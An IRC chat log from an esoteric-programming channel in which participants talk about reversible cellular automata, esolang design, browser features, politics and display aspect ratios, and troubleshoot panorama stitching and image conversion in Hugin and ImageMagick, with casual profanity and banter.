13:55:19 <ehird> amca: what brings you here
13:55:21 <nooga> i bet it's something stupid
13:55:37 <nooga> like new opera turbo
13:55:56 <nooga> or some kind of cloud contraption
13:56:14 <ehird> 02:36 oerjan: <ehird> is there a reversible, turing complete CA? <-- almost certainly
13:56:16 <ehird> that has been described
13:56:21 <amca> ehird: I have an interest in programming languages and particularly esoteric ones
13:56:30 <ehird> 02:49 oerjan: what's BBM?
13:56:33 <ehird> billiard ball machine
13:56:39 <ehird> 02:50 oerjan: oh, and with a reversible CA you _cannot_ get a machine that grows, unless it grows towards the past as well
13:56:43 <ehird> erm growing is reversible, no?
13:57:06 <ehird> so he knows you were discussing bbm
13:57:54 <nooga> busy beavers are class of turing machines that run long sequences without going into cyclesAFAIR
13:57:55 -!- sebbu has joined.
13:58:07 <amca> ehird: Im also designing an esolang, so Im hoping to get help here when I get stuck
13:58:30 <ehird> 08:37 augur: http://www.youtube.com/watch?v=cCdbZqI1r7I
13:58:31 <ehird> 08:38 augur: jeff hawkins doesnt understand why a universal turing machine is universal
13:58:40 <ehird> because irreducibly complex flagella
13:58:47 <amca> nooga: Show you what?
13:58:50 <ehird> 10:02 augur: he says brains arent universal in turings sense
13:58:52 <ehird> 10:02 augur: which is obviously false
13:58:54 <ehird> my brain doesn't have infinite tape
13:59:06 <ehird> and I cannot do long computations without the aid of extra memory eg paper
13:59:11 <nooga> amca: your dick :C
13:59:18 <nooga> amca: your esolang ofc
13:59:23 <ehird> consciousnesses are not even FSM imo
13:59:29 <ehird> but not our conscious thought process
13:59:56 <nooga> ehird: that'd mean you can build conscious machine
13:59:59 <amca> nooga: It is only in design stage so I have nothing to show presently
14:00:21 <nooga> maybe you could describe it briefly, i'm curious
14:00:56 <ehird> 12:21 AnMaster: asiekierka, Some years ago I did game of life in a rpg game engine for Mac OS Classic (so won't run on Intel Macs iirc)
14:01:49 <AnMaster> ehird, sure. But also it was some shareware one iirc.
14:01:59 <AnMaster> yes, it was before I went FOSS
14:02:01 <nooga> i thought that leopard can run binaries from PPC
14:02:18 <ehird> but no more Classic mode
14:02:25 <ehird> but you could use a real full-hardware emulator
14:02:27 <ehird> 13:59 nooga: ehird: that'd mean you can build conscious machine ← wat?
14:02:41 <ehird> 13:55 nooga: or some kind of cloud contraption ← obvious from the logo
14:02:45 <ehird> 13:56 amca: ehird: I have an interest in programming languages and particularly esoteric ones ← hi
14:02:49 <ehird> 13:57 nooga: busy beavers are class of turing machines that run long sequences without going into cyclesAFAIR ← yes
14:02:52 <nooga> ehird: consciousnesses are not even FSM imo
14:02:52 <nooga> ehird: maybe brains are
14:03:14 <ehird> nooga: "that'd mean you can build conscious machine", what is the issue with this?
14:03:21 <ehird> i completely think strong ai is possible
14:03:33 <ehird> we are just wetware running on crappy analog carbon computers
14:03:35 <amca> nooga: It is called minpostlisp, which is short for Minimal Postfix List Processor. It is a stack machine which only has conses and nils as data
14:04:15 <ehird> GregorR: that film has john travolta. it must suck by definition
14:04:34 <nooga> so it's like: reverse program string, interpret as lambda calculus
14:05:11 <amca> nooga: Nope. It is concatenative rather than applicative.
14:05:42 <nooga> any syntaxx examples yet?
14:05:44 <ehird> http://www.favbrowser.com/opera-freedom-mozilla-jetpack/
14:05:45 <ehird> Although it’s too early to speculate, especially when there is so little information revealed so far, we can still check few things while waiting. Lets begin with the logo.
14:05:47 <ehird> Oh well, maybe they just like clouds.
14:06:03 <ehird> how can this moron say such things and not even know about the cloud computing hype
14:06:24 <ehird> amca: sounds ... well, ok, not interesting, but more unique than most stuff :P
14:06:33 <ehird> check out underload for a concatenative tarpit.
14:07:00 <ehird> [[Opera Turbo alone is groundbreaking for most of the world. Why are you quoting the notorious and obsessive Opera troll “nobody”? Why are you always 100% biased against Opera?]]
14:07:09 <ehird> Opera fanboys, on the other hand, are eternally amusing.
14:07:42 <amca> nooga: They wont make any sense, as everthing is represented as conses and nulls. But, for example, the number one might be represented by ##-, where # represents nil, and - represents cons
14:07:42 <nooga> opera turbo is crap
14:07:57 <ehird> nooga: opera turbo is ok for things like shitty hotel/airport internet and mobile internet.
14:08:05 <nooga> i can't imagine who would use a browser that mangles all images for 0.5s less loading time
14:08:08 <ehird> but it's a horrendous violation of privacy which they don't make clear, and the images look like shit
14:08:16 <ehird> nooga: 0.5 if you have an ok internet connection
14:08:27 <ehird> mobile 3g = <50kb/s
14:08:36 <ehird> airport/hotel wifi = who the fuck knows
14:08:45 <ehird> nooga: yah, that's bullshit, but your isp sees all your shit anyway
14:08:55 <ehird> and i can't imagine doing much sensitive while using mobile internet
14:09:09 <nooga> i dl some weird porn and chat about weed on IM ;F
14:09:15 <ehird> it's crap but less crap for its intended use case.
14:09:25 <amca> ehird: underload?
14:09:30 <ehird> amca: (note: me and nooga aren't exactly the usual sort of crowd here; this place is normally not this off-topic :p)
14:09:36 <ehird> amca: http://esolangs.org/wiki/Underload
14:09:43 <ehird> our wiki has everything! as long as oklopol didn't make it
14:11:23 <amca> ehird: I like chat tangents :) I refer to the esolang wiki all the time for ideas etc :)
14:11:27 <ehird> http://hex.alife.co.uk/diffusion/ ;; margolus, SWAP-on-DIAG: looks very demoscene
14:11:36 <amca> eep. Sorry for excessive smilies :)
14:11:38 <ehird> very pretty cellular automata
14:11:46 <ehird> amca: it's ok i'll cancel them out :( :( :(
14:13:59 -!- sebbu2 has quit (Read error: 110 (Connection timed out)).
14:17:38 <nooga> i played with CA some time
14:24:04 <ehird> can you make BCT reversible, I wonder?
14:24:35 <ehird> bct is essentially a 1d ca
14:25:44 -!- kar8nga has quit (Remote closed the connection).
14:26:26 <ehird> *0→in data, change *a into a*
14:27:04 <ehird> *1→x=next command; in data, if *1 instead of *0, add x to the end of the data
14:27:09 <ehird> in each case, change *x in prog to x*
14:28:22 <ehird> the issue here is cycling
14:28:28 <ehird> but I'm sure you could fix that
14:28:33 <ehird> it's basically bct except you never throw anything away.
14:28:47 -!- nooga_ has joined.
14:29:05 <ehird> did you see my stuff about reversible bct?
14:29:14 -!- nooga has quit (Read error: 60 (Operation timed out)).
14:29:19 <ehird> oh, wait, cycling isn't a problem, *a|b's previousness is a*|b
14:29:32 <nooga_> my connection is flaky
14:29:50 <ehird> http://tunes.org/~nef/logs/esoteric/09.06.13
14:29:59 <ehird> nooga_: go to the bottom, start from "can you make BCT reversible, I wonder?"
14:30:15 <ehird> nooga_: "→" is →
14:30:18 <ehird> clog messes the logs
14:32:10 <AnMaster> fizzie, about idiosyncratic GUIs... I agree Hugin has one of those. But it isn't much worse than that of ufraw. Took a while to learn ufraw. And I still have to check docs sometimes.
14:33:19 <nooga_> ehird: let me think a while
14:33:34 <AnMaster> ehird, I may soon be ready to show you the first picture...
14:33:44 <ehird> AnMaster: Y'know, I'm not obligated.
14:34:02 <AnMaster> it is 16 bits per channel though
14:34:51 <ehird> AnMaster: Is there any compression whatsoever on the images?
14:35:13 <ehird> AnMaster: non-lossless
14:35:20 <ehird> from taking of picture to delivering
14:35:33 <AnMaster> and no, so far there has been no lossy compression
14:35:35 <ehird> AnMaster: Yes, but any lossiness at any other point?
14:35:54 <ehird> i might just look then
14:36:02 <AnMaster> ehird, not yet. I might have to turn it into a jpg to be able to upload it. But that would be after all post-processing
14:36:21 <ehird> AnMaster: KEEP THE ORIGINAL
14:36:26 <AnMaster> ehird, also I'm going to panorama-ise this
14:36:32 <ehird> nooga_: he took some sort of images of his holiday and i'm making it as hard as possible for him to show me them.
14:36:33 <AnMaster> so I need the high quality tiff
14:36:44 <AnMaster> ehird, yes I'm going to save the mrws
14:37:01 <AnMaster> I think it is 12 bits per channel there
14:37:05 <ehird> i just want gigabytes of stuff
14:37:09 <ehird> i like downloading gigabytes
14:37:14 <ehird> for archival purposes.
14:38:10 <ehird> there's just something about using terabytes of disk space that's fun.
14:38:47 <ehird> hmm i have something like 838GB of disk space around here
14:38:52 <AnMaster> ehird, it is wide-gamut atm.... (camera was set to use AdobeRGB, not sRGB)... So I need to use 16 bits all the way
14:38:56 <ehird> mac 250GB, old pc 80+500GB, iphone 8GB
14:39:15 <ehird> well some in my 2004 ipod too i guess but i'm not gonna count everything
14:39:25 <ehird> heck my router has some flash memory :P
14:40:20 -!- amca has quit ("Farewell").
14:42:16 <nooga_> today some brit stopped me and asked for a way
14:42:46 <AnMaster> I think the English term is "asking for directions", but I may be wrong.
14:43:19 <nooga_> and i said "no understands no no"
14:43:48 <ehird> nooga_: YER DIRTY IMMIGRANT GET OUT OF THIS COUNTRY BRITISH NATIONAL PARTY 4EVA
14:44:53 <nooga_> i'm sitting in the capital of my cuntry and not going anywhere, especially THAT ISLAND
14:45:00 <ehird> internet is sooo slow
14:45:07 <ehird> nooga_: Stop this cuntry!
14:51:26 -!- Corun has joined.
15:05:25 <pikhq> ehird: Man, the BNP and the UKIP.
15:05:46 <pikhq> "I HATE CURRY!" and "I HATE THE CONTINENT!"
15:06:04 <ehird> pikhq: UKIP's adverts have said things like "We are the only party supporting leaving the EU" and "Although our racist ideas are great, don't vote for extremist, racist parties, please."
15:06:10 <ehird> (My reaction: OK, I won't vote for UKIP then.)
15:06:22 <ehird> They're really desperate to avoid association with BNP.
15:06:32 <ehird> I mean, seriously. They're the only ones wanting to leave the EU? That's just a blatant lie.
15:06:37 <AnMaster> ufraw-batch --out-depth=16 --out-type=tiff --exif --zip --exposure=auto --wavelet-denoising-threshold=30 --temperature=5267 --green=1.023 --out-path=pano1 --create-id=also pict12{16..21}.mrw
15:06:48 <AnMaster> last time white balance just messed up
15:07:02 <pikhq> ehird: Never mind that leaving the EU is extremely dumb.
15:07:31 <ehird> the right will be stupid.
15:07:56 <pikhq> I'm kinda impressed that your right-wing nutjobs make the US's seem sane.
15:08:04 <nooga_> i'm not sure if EU is okay, i mean yeah it's cool to be part of the union
15:08:22 <nooga_> but sometimes i feel that EU might bring something bad in future
15:08:56 <nooga_> epecially that Polish government is a bunch of pussies
15:09:15 <ehird> the eu needs some reforms and shit buttt.
15:09:27 <ehird> pikhq: the US is the most right-wing country in the world
15:09:32 <ehird> asiekierka: he's polish himself you dolt.
15:09:55 <pikhq> ehird: That's because we've got right-wing and center.
15:10:07 <ehird> pikhq: What? Even your Democrats are right-wing.
15:10:26 <ehird> Seriously, look at a scandinavian country and say you're center :p
15:10:33 <asiekierka> I wonder which esolang didn't have a game made in it
15:10:43 * pikhq was thinking of the smaller parties, like the Greens. :P
15:11:00 <ehird> pikhq: OK, the greens are center.
15:11:06 <ehird> asiekierka: Sure. One of the first programs.
15:11:18 <ehird> well, I don't think they depend on space behaviour
15:11:19 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
15:11:20 <ehird> so I guess -98 too
15:11:30 <pikhq> Note: fungot is written in Befunge.
15:11:31 <fungot> pikhq: omfg my eyes cant believe what i think,no offence he's good! i was your vampire" performed by marilyn manson.its a instrumental but even democrats have a lying, and love the video, and i'll say again, quite unbelievable that you're arguing that this video
15:11:33 <asiekierka> What about Underloa---wait, you can't make a game in Underload
15:11:37 <ehird> !befunge http://catseye.tc/projects/befunge93/eg/wumpus.bf
15:11:38 <EgoBot> Screwed up making caves. Trying again.
15:12:07 <AnMaster> Filename /mnt/oldgentoo/photos/2009_jun_8-13_kiruna/10290611/pano1/pict1216.tif
15:12:12 <asiekierka> And I would if not for that it doesn't have any input
15:12:16 <AnMaster> any clue why it want to reduce the size
15:12:33 <ehird> AnMaster: it's an evil fucker that likes destroying information.
15:12:33 <pikhq> ehird: Anyways, I'm not saying we don't have more right-wingers, I'm saying your right-wing nutjobs are more right-wing than ours. ... Which is kinda scary.
15:12:47 <AnMaster> ehird, I'm trying to create a panorama...
15:12:58 <ehird> pikhq: Ehm.. The BNP and UKIP say things that are considered socialist in the US.
15:13:10 <ehird> National healthcare, etc.
15:13:21 <pikhq> ehird: Oh, so they're national socialists. \o/
15:13:40 <ehird> pikhq: Shut up, nazism has nothing to do with socialism :P
15:13:51 <pikhq> ehird: Does in name.
15:13:51 <ehird> nooga_: No, not skinheads. But BNP's founder, eh, "Mein Kampf is my Bible."
15:13:53 <pikhq> ... But only in name.
15:14:20 <ehird> hay letz vote for objectivist parties
15:14:21 <pikhq> nooga_: They're in favor of deporting non-English and stopping immigration.
15:14:42 <ehird> YO DAWG SO I HERD U LIEK FIGHTING YO DAWG SO I GAVE YOU CAPITALISM
15:14:55 <ehird> SO YOU CAN FIGHT YO DAWG WHILE YOU MAKE MONETARY TRANSACTIONS
15:15:15 <nooga_> still, tom green owns xzibit
15:17:32 <nooga_> my train departs at 05:45
15:18:40 <ehird> well one day i slept at 3am and got up 6am and had to be on a train an hour or two later
15:18:44 <ehird> but that's not quite as bad
15:19:06 <nooga_> you can still sleep in the train
15:19:23 <ehird> nooga_: what time is it there?
15:23:17 <asiekierka> I'm looking for a good esolang to make a game in
15:26:55 <ehird> http://www.muppetlabs.com/~breadbox/intercal/ins/description.html
15:27:03 <asiekierka> and any language with a game made in it already doesn't count
15:27:21 <ehird> asiekierka: you are so arbirary
15:27:45 <Gracenotes> of course it's impossible to determine whether a game has been made in a language by anyone...
15:28:22 <Gracenotes> and does, for example, "guess the number between 1 and 100" count as a game?
15:28:22 <asiekierka> ...I wonder why didn't any of you propose DOBELA xDDD
15:28:31 <asiekierka> Gracenotes: See "Taking Over The World".
15:28:34 <pikhq> Note that your definition of trivial seems to include all Turing-complete languages with input and output.
15:28:51 -!- M0ny has joined.
15:28:52 <Gracenotes> I'm not talking about a "derivative", as you've said
15:29:03 <asiekierka> pikhq: By "trivial" I mean "way easier than BF"
15:29:44 <nooga_> probably you'll need syntax highlighting
15:30:06 <nooga_> asiekierka: that does not count
15:30:13 <asiekierka> then I replace a with space, b with tab and c with lf
15:30:30 <nooga_> that will count as cheating
15:30:41 <asiekierka> I can write a syntax highlighting app that shows a space as a
15:31:18 <Gracenotes> it might be even more useful to show combinations of tabs and spaces as various characters
15:35:07 <nooga_> maybe you could code a guitar hero clone in choon
15:35:16 <ehird> AnMaster: you should buy one of those usb things that look at the ambient light and colour-collaborate the monitor automatically
15:35:18 <ehird> right up your alley :P
15:37:31 <AnMaster> ehird, I have considered that in fact.
15:37:42 <nooga_> once i thought about a language in which programs would be extremely complicated curves
15:37:44 <ehird> AnMaster: hahahaha
15:37:53 <asiekierka> nooga_: I planned something like that before
15:37:54 <ehird> AnMaster: lemme guess, their accompanying software isn't gpl? :-)
15:38:04 <asiekierka> where direction changes (measured in degrees) would be commands
15:38:11 <asiekierka> I lost the specification and stuff though
15:38:16 <AnMaster> ehird, actually I didn't check the details enough yet. I just saw them mentioned.
15:38:27 <nooga_> but all in all it turned out that curve is just a representation of some simple sequence
15:38:28 <AnMaster> so I put it on the mental "check details" list.
15:38:38 <ehird> AnMaster: most of them only support windows/mac
15:38:48 <ehird> since all photographers use those :P
15:39:05 <asiekierka> so you needed to use NOP commands to get back on track
15:39:18 <ehird> there should be a music language whose loops repeat in the output
15:39:29 <ehird> [abc]abc]abc]abc]abc in the music output
15:39:36 <ehird> so your program loops have to sound musical
15:40:19 <asiekierka> and I even found the specifications AND links to example programs
15:42:04 <asiekierka> lemme find the equalivment in the #esoteric logs on tunes
15:42:15 <nooga_> i go to party today's evening
15:42:39 <asiekierka> http://tunes.org/~nef/logs/esoteric/09.04.05
15:42:41 <AnMaster> fizzie, any idea why hugin decided to show one of the images upside down in the control point tab?
15:43:15 <AnMaster> fizzie, it was trying to use some birds that were flying in the auto control point thing, so I couldn't use that.
15:43:15 -!- MizardX has quit (Read error: 54 (Connection reset by peer)).
15:43:30 -!- MizardX has joined.
15:43:44 <asiekierka> angle could be anything from -90 to 90 degrees
15:44:14 -!- asiekierka has changed nick to asie[away].
15:47:59 <AnMaster> ehird, you want to see this (screenshot, safe for work, but quite high TDW factor...) http://omploader.org/vMXRxdA
15:48:12 <ehird> AnMaster: "TDW factor"?
15:48:17 <ehird> That's the stupidest thing I ever did heard.
15:48:25 <ehird> You mean "WTF factor".
15:48:43 <ehird> AnMaster: Anyway, that image is indeed WTFy; it's bloody Raleigh theme!
15:48:46 <ehird> And over-hinted text!
15:48:57 <AnMaster> ehird, that would work too... But <retcon>with TDW is quite WTF-y itself, it ends up meaning the same</retcon>
15:49:15 <AnMaster> ehird, ignoring that... what about one image being upside down
15:49:18 <ehird> "with TDW is quite WTF-y itself" ← worst english of the year 2009 :)
15:49:29 <ehird> also, pfft, that's completely normal. i think
15:49:46 <ehird> AnMaster: and is→being
15:49:54 <ehird> "with TDW being quite WTF"
15:56:45 <AnMaster> ehird, s/with/what with/ would also work
15:57:00 -!- ais523 has joined.
15:58:31 <fizzie> AnMaster: No idea why it's upside-down; generally those things have to do with some sort of confusion in auto-rotating images based on the EXIF orientation tag.
15:59:10 <nooga_> AnMaster: you choose wrong points for comparison
15:59:43 <AnMaster> nooga_, I didn't... autopano-sift-c did
16:00:24 <fizzie> Is it still upside-down even if you just "load images" and don't run the automagic point-finding?
16:02:43 <fizzie> Well, you can run autopano-sift-c manually without that one image, open the generated .pto in Hugin, add that image-it-gets-confused-about and set up control points for it manually. (Or just skip the whole autopano-sift-c part, that's what I've been doing since I think it's rather fun to pick points.)
16:02:49 <ehird> i want a really high dpi display
16:02:55 <AnMaster> fizzie, about half of the images were upside down
16:03:17 <AnMaster> fizzie, not good photo weather: strong wind, raining...
16:03:31 <fizzie> AnMaster: Oh. Heh, that's rather strange. Admittedly I don't have much experience with the automatic point-select-o-tron since I haven't really been using it.
16:03:52 <AnMaster> fizzie, anyway the autopano thing is useless... It tries to match birds too. Except the birds were flying. So their positions doesn't match between the photos
16:04:06 <fizzie> Yes, well, it doesn't have an AI in it.
16:04:38 <AnMaster> fizzie, true. Would be useful to have some way to say "hey, don't look for control points here, it is birds or stuff that is moving between the pictures!"
16:04:59 <fizzie> Anyway, you can edit & remove the points it selects manually, afterwards. (Though if it manages to turn images upside-down that's no good.)
16:05:05 <ehird> you know what's annoying?
16:05:14 <ehird> there aren't any resolutions defined above QSXGA - 2560x2048
16:05:57 <ehird> which is weird 16:9
16:06:19 <fizzie> There are "defined" digital-film resolutions too, though those really aren't that relevant.
16:06:37 <pikhq> ehird: The 16:9 of that is 7680:4320.
16:06:49 <ehird> "that can support a resolution up to 7680 × 4800 pixels, assuming a 16:10 aspect ratio."
16:07:07 <ehird> WQSXGA3200×204825:161.56256,553,600
16:07:15 <ehird> WHUXGA7680×48008:51.636,864,000
16:07:16 <ais523> 16:10 = 8:5, which is would be rather unusual
16:07:28 <ehird> ais523: 16:10 isn't unusual
16:07:31 <fizzie> Yes, well, 16:10 equals 8:5.
16:07:31 <ais523> non-widescreen is 16:12, by comparison
16:07:35 <ehird> it's what most computer widescreen displays use
16:07:45 <ais523> this one does too, I think
16:07:51 <ehird> but saying it as 8:5?
16:08:02 <ehird> WQUXGA3840×24008:51.69,216,000
16:08:02 <ais523> why? that's lowest temrs
16:08:05 <ehird> wanna get me some of that
16:08:08 <ais523> people say 4:3 not 16:12
16:08:08 <ehird> ais523: because nobody says it that way
16:08:14 <ehird> 16:10 is in analogy with 16:9
16:08:24 <ais523> but nobody says 16:12!
16:08:26 <ehird> http://en.wikipedia.org/wiki/16:10
16:08:34 <ehird> ais523: yes, but 4:3 isn't directly related to another format
16:08:45 <ehird> 16:10 is "widescreen tv with a bit more vertical space for computery stuff"
16:09:20 <pikhq> Like the movie-playing chrome THAT I DON'T HAVE!
16:09:34 <fizzie> One can put subtitles there, though.
16:09:40 <ehird> pikhq: Because monitors are just for TV.
16:09:47 <ehird> I never code. I do not have toolbars. I never overlap windows.
16:09:50 <ehird> I do not have menus or task bars.
16:10:01 <ehird> My eyes are slits that cannot move up or down.
16:10:06 <ehird> Verily, 16:9 is appropriate for me.
16:10:10 <ehird> For anyone sane, though, 16:10
16:10:51 <pikhq> Yes, all 50 pixels make *all* the difference, and justify making an aspect ratio different from everything else.
16:11:08 <ehird> pikhq: Different from everything else ... except most widescreen computer displays.
16:11:12 <ehird> Yep, tiny market, that.
16:11:25 <FireFly> Meh, I never liked widescreen, I'll stick to my 4:3
16:11:27 <ehird> pikhq: Fact is, 16:9 is just too wide and not tall enough for comfortable computer usage.
16:11:38 <ehird> 16:10's a sweet spot.
16:12:20 <ais523> 8:10 is a good shape for a text editor, I think
16:12:22 * pikhq is shocked that 1/4" is a big difference between "too wide!!!" and "sweet spot".
16:12:27 <ais523> I normally set Emacs to tile two files side by side
16:12:34 <ehird> pikhq: psychologically, yes.
16:12:39 <AnMaster> ok the panorama is much much better now
16:12:42 <ehird> ais523: the golden ratio! For everything!
16:12:57 <ehird> Give us our 1:1.6180339887 screens!
16:13:10 <ais523> that would be 16:just less than 10
16:13:14 <fizzie> I don't know where the "50 pixels" comes from; for the "normal" resolution it's the difference between 1080 lines and 1200 lines, which is 120 pixels; that's not much either, but it's not completely trivial.
16:13:39 <fizzie> I rather like 1920x1200 because it has the same height as 1600x1200 but you can still stick 1080p video on it without too much worrying.
16:13:41 <ehird> 32" tall 20" wide displays would be the golden ratio
16:13:43 <ehird> which is ridiculous
16:13:48 <ehird> fizzie: 1600x1200 isn't much used.
16:13:53 <ehird> 1600x1050 is more common.
16:14:24 <fizzie> 1600x1200 is what used to be the sensible 20" 4:3 TFT size.
16:14:45 <AnMaster> ais523, you may want to look at http://omploader.org/vMXRxdA (safe for work and worked around the issue, but quite funny, the points were placed with the "auto" feature)
16:14:58 <ehird> ais523: did you know that the gnome UI guidelines actually tell you to keep a window size ratio of approximately 1:φ?
16:15:06 <ehird> AnMaster: you keep saying safe for work; when do we get the pornoramas?
16:15:19 <ais523> ehird: I didn't know that
16:15:29 <ehird> ais523: they're rather OCD :)
16:15:43 <fizzie> AnMaster: Actually I don't think it matters *that* much that it's upside-down. The points themselves look more or less sensible (from a quick glance) so the position-optimizer would've just turned it around when composing the actual panorama.
16:15:57 <AnMaster> ehird, ... the panorama... as soon as it looks good. Currently working on fixing a sharp edge at one place
16:16:04 <ehird> AnMaster: Pornorama.
16:16:09 <ehird> Since you keep noting every image is SFW.
16:16:20 <ehird> I can only deduce that there must be some images you will post that are not SFW.
16:16:43 <AnMaster> ehird, heh, actually it is just that you seem to distrust that upload site
16:17:04 <AnMaster> main reasons I use it are: 1) any file format 2) no login 3) handy command line tool.
16:17:15 <ehird> AnMaster: Can you blame me, though?
16:17:15 <AnMaster> fizzie, it seems to work much better once I removed the points it placed on the birds, and added some on the mountains
16:17:16 <ehird> A: Omploader was originally created to become the ultimate shock site hosting service by Brenden Matthews and David Shakaryan
16:17:21 <AnMaster> currently it get mountains wrong
16:17:25 <ehird> and iirc their hotlinking image is either a shock one or "I'M GAY" or something
16:17:38 <ehird> http://omploader.org/gay.png
16:17:42 <ehird> "YOU ARE GAY, LOLS!"
16:17:55 <ehird> i mean, it doesn't exactly reek of professionalism and a haven of technical images.
16:18:47 <AnMaster> fizzie, how do you fine tune the horizon and such, you mentioned something about it.
16:22:09 <nooga_> today i encoutered a gay pride parade
16:22:45 <fizzie> AnMaster: There's some sort of very unintuitive thing in the "preview panorama" window. I'm not sure how it works; there's some automatic thing, and then you can click with left and right buttons at the image and it does some sort of rotations and translations.
16:23:09 <fizzie> On the other hand, if you then click "optimize" again it loses those twiddlings. It's a bit strange.
16:24:25 <fizzie> Anyway, you're supposed to left-click on the center of the image, and then right-click any point on the horizon, and it'll rotate it so that it is straight.
16:24:28 <AnMaster> fizzie, http://omploader.org/vMXRxdw
16:24:35 <AnMaster> fizzie, one major issue left there
16:24:45 <fizzie> But if you have actually wavy horizon (and not just tilted one) you'll probably need to add some horizontal-line control points or something.
16:24:56 <AnMaster> fizzie, and yes, I have mountains
16:24:57 <ehird> AnMaster: those clouds aren't in line
16:25:02 <ehird> also the colours don't match
16:25:10 <fizzie> Yes, well, I mean wavy-horizon that you don't want to straighten.
16:25:11 <ehird> AnMaster: oh and the last change
16:25:26 <ehird> last one needs some colour fixing
16:25:31 <AnMaster> ehird, yes that is the main issue I mean atm
16:25:44 <fizzie> That's also just the preview window; the actual panorama will not look like that, I think.
16:25:52 <fizzie> Since it does quite a lot more math in blending, optimizes seams and so on.
16:26:25 <AnMaster> so should I export, then check if the last seam actually looks good instead?
16:26:26 <fizzie> It takes quite some time to compute the final result, that preview is just that you can see how it arranges the source pictures there.
16:26:35 <fizzie> And I guess it should show the exposure-fixups and such there too.
16:26:56 <AnMaster> ehird, the colour difference doesn't show on this monitor
16:27:23 <ehird> AnMaster: well, it's really bad
16:27:34 <ehird> less so on the last one
16:27:40 <ehird> AnMaster: second left is bluey
16:27:40 <AnMaster> ehird, between first and second there is a color issue yes
16:27:44 <ehird> the previous one is purpley
16:27:56 <ehird> the second-last-to-last... the last is more purpley/pinky too, than the second-to-last
16:28:00 <AnMaster> ehird, there is a place to fix it up
16:28:06 <AnMaster> but I want to get positions right first
16:28:24 <ehird> 16:26 fizzie: It takes quite some time to compute the final result, that preview is just that you can see how it arranges the source pictures there.
16:28:24 <ehird> 16:26 fizzie: And I guess it should show the exposure-fixups and such there too.
16:29:07 <fizzie> (I'm also mostly away; got the food supplies bought but now I need to prepare and consume them. Actually you're making me burn them with all this talk.)
16:29:13 <AnMaster> ehird, also I did try to tune them after each other by setting the same white balance for all. Since time delta between them were about 4-5 seconds
16:30:44 <fizzie> The more overlap you have, the better result that final stitcher-tool can do, too. I think I used about 10-20 source images mostly.
16:47:07 <AnMaster> fizzie, yeah, couldn't take that many there
16:47:16 <AnMaster> too bad weather + too slow memory card
16:47:54 <AnMaster> BasicImage::upperLeft(): image must have non-zero size.
16:48:06 <fizzie> Huh. I haven't seen anything like that.
16:48:17 <AnMaster> fizzie, it segfaulted afterwards
16:48:41 -!- Corun has quit (Read error: 110 (Connection timed out)).
16:48:54 <fizzie> Strange. Is this the stable 0.7 or the 0.8 release-candidate? :p
16:49:29 <AnMaster> I did manage to open tiff after I upgraded exiv2 from 0.18.0 to 0.18.1
16:51:05 <fizzie> Speaking of hugin, I did a couple of perspective-correction tests with it too. http://zem.fi/g2/d/7368-2/p1030278.jpg -> http://zem.fi/g2/d/7733-2/mosaic-2-perspective.jpg and http://zem.fi/g2/d/7401-2/p1030297.jpg -> http://zem.fi/g2/d/7736-2/paintings-perspective.jpg
16:51:18 <fizzie> Sorry for the ugly URLs.
16:51:44 <ehird> fizzie: lol@fat people
16:52:53 <AnMaster> anyway I think the reason for the issue with the last panel is parallax issues
16:54:24 <ehird> so I was dicking around with sum OpenGL programming, and I figured I'd try to determine my polygon 'budget' as it were. On my computer with a 2.4ghz P4 and a 128mb 6600gt, I imported a 375,000 polygon model and drew it using a vertex array compiled display list at a massive 10fps. When I ran the exact same program on a new computer with a phenom x3 720 and a 1gb 4890, it ran at 600+fps. I can only assume this is due to the 128mb of the 6600gt being inade
16:54:26 <ehird> quate to entirely contain the 375,000 polygons.
16:54:29 <ehird> Even with an old p4 and the 6600gt, my old computer was able to adequately play Oblivion, which I'm sure has more polygons than that stuck in graphics memory at a given time, so what gives?
16:55:32 -!- Corun has joined.
16:56:16 -!- Corun has quit (Remote closed the connection).
16:56:28 <fizzie> Probably. I tried to take one linear-panorama thing of the Capri coast when in a boat sliding past it, but since there was so much depth the parallaxy effects made it pretty much impossible. There's a tutorial for making linear panoramas from things like walls and such in Hugin, but it doesn't (and can't) really work when there are things in the picture at multiple distances.
16:56:32 -!- kar8nga has joined.
16:56:44 -!- Corun has joined.
17:03:37 <AnMaster> fizzie, if you hooked up a gps to the camera, couldn't you build some sort of stereo-image using such photos?
17:06:22 <fizzie> If the positional resolution is good enough, I guess. Wasn't there that 3D stockholm that was built from aerial photographs with good-enough location information?
17:07:33 <fizzie> I've just seen still pics (I guess it needs a Java plugin in the browser) but it looked reasonably interesting.
17:07:58 <fizzie> Messy but interesting.
17:14:54 <fizzie> I think it's the one they talk about in http://www.ogleearth.com/2008/05/see_a_3d_map_of.html
17:15:14 <fizzie> The melting-buildings style is artsy. :p
17:22:37 <ehird> fizzie: the persistence of cities?
17:23:39 -!- nooga_ has quit ("Leaving...").
17:26:34 <AnMaster> $ convert pict1219.tif -channel R -separate red.tif
17:26:35 <AnMaster> file *** glibc detected *** convert: munmap_chunk(): invalid pointer: 0x00000000023c9ef0 ***
17:26:48 <ehird> http://www.google.com/search?hl=en&safe=off&client=safari&rls=en-us&q=c+%2F+3.3+GHz&aq=f&oq=&aqi=
17:26:57 * AnMaster tries to think of a way to split 16 bit images by channel if not this
17:27:02 <ehird> Light travels only 9 centimeters in one clock cycle of an i7 975 XE.
17:27:57 <ehird> The highest clock x86, iirc, was an AMD Phenom II X4 @ 6.5GHz, liquid helium cooled.
17:28:04 <ehird> Light travels 4.6cm in one of its clock cycles.
17:28:22 <AnMaster> that kind of put things in a perspective...
17:28:50 <ehird> 28 GHz = light travels 1cm in a clock cycl
17:28:59 <ehird> pretty amazing how fast stuff is
17:29:05 <AnMaster> -fast Increase speed for slow devices
17:37:38 <AnMaster> hm... 1455895040 I think we have a big/little endian messup
17:38:10 * AnMaster wonders what tool to use to convert it
17:39:34 <AnMaster> and it isn't a simple messup like that
17:53:28 <GregorR> Any number less than 2 billion (and greater than 0, for signedness) has no endian problem :P
17:56:51 <AnMaster> GregorR, I seriously have no clue. Just that exiv2 somehow messed up the EXIF values
17:57:40 <GregorR> 16-bit can't get that high, and 64-bit that is most CERTAINLY not an endianness error, the first four bytes are 0!
17:58:01 -!- MizardX has quit (Read error: 60 (Operation timed out)).
18:01:22 <Deewiant> Here's what I use to convert endianness in dobelx64's makefile: printf "0: %016x" $n | xxd -r | od -vAn -tdL
18:01:46 -!- MizardX has joined.
